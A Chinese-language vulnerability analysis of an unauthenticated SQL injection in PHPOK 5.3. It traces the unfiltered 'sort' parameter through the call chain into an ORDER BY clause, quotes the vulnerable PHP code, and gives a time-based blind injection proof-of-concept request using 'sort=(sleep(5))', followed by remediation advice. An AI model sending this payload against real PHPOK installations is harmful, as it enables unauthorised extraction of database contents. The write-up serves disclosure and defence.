某OK 5.3 最新版前台无限制注入(二)
字数 838 2025-08-26 22:11:39
PHPOK 5.3 前台无限制SQL注入漏洞分析
漏洞概述
PHPOK 5.3最新版存在一个前台无限制的SQL注入漏洞,攻击者可以通过构造特定的HTTP请求,利用sort参数实现SQL注入攻击,可能导致数据库信息泄露、权限提升等安全问题。
漏洞分析
漏洞位置
漏洞主要存在于以下文件和方法中:
framework/model/list.php中的arc_all方法framework/phpok_call.php中的_arclist方法framework/api/project_control.php中的load_module和index_f方法
漏洞调用链
index_f() -> load_module() -> _arclist() -> arc_all()
关键代码分析
- arc_all方法中的SQL拼接问题:
public function arc_all($project,$condition='',$field='*',$offset=0,$psize=0,$orderby='') {
// ...
if($orderby){
$sql .= " ORDER BY ".$orderby." "; // 直接拼接$orderby参数,未做过滤
}
// ...
$rslist = $this->db->get_all($sql,'id');
// ...
}
- _arclist方法中orderby参数传递:
private function _arclist($rs,$cache_id='') {
$orderby = $rs['orderby'] ? $rs['orderby'] : $project['orderby'];
$rslist = $this->model('list')->arc_all($project,$condition,$field,$offset,$psize,$orderby);
// ...
}
- load_module方法中sort参数处理:
private function load_module($rs,$parent_rs='') {
$sort = $this->get('sort');
if($sort){
$dt['orderby'] = $sort; // 直接使用用户输入的sort参数
$pageurl .= '&sort='.rawurlencode($sort);
$this->rlist['sort'] = $sort;
}
$info = $this->call->phpok('_arclist',$dt);
// ...
}
- index_f方法调用load_module:
public function index_f() {
if($project["module"]){
$this->load_module($project,$parent_rs);
}
}
漏洞利用
利用条件
- 目标系统使用PHPOK 5.3版本
- 存在可访问的
api.php入口 - 存在
project模块
POC构造
GET /api.php?c=project&f=index&token=1234&id=news&sort=(sleep(5)) HTTP/1.1
Host: target.com
利用特征
- 通过
sort参数注入SQL语句 - 可以利用时间盲注技术进行攻击
- 数据库特性:查出几列数据order by会sleep几倍时间
修复建议
- 对
sort参数进行严格过滤,只允许特定的字符(如字母、数字、下划线等) - 使用预编译语句或参数化查询
- 对用户输入进行转义处理
- 限制
order by子句只能使用白名单中的列名
技术总结
该漏洞的核心问题在于:
- 用户输入的
sort参数未经充分过滤直接拼接到SQL语句中 - 通过
index_f()->load_module()->_arclist()->arc_all()的调用链,将用户输入传递到SQL查询中 - 由于PHPOK框架中
_f结尾的函数可以直接调用,导致攻击面扩大
攻击者可以利用此漏洞实现时间盲注攻击,获取数据库敏感信息或执行其他恶意操作。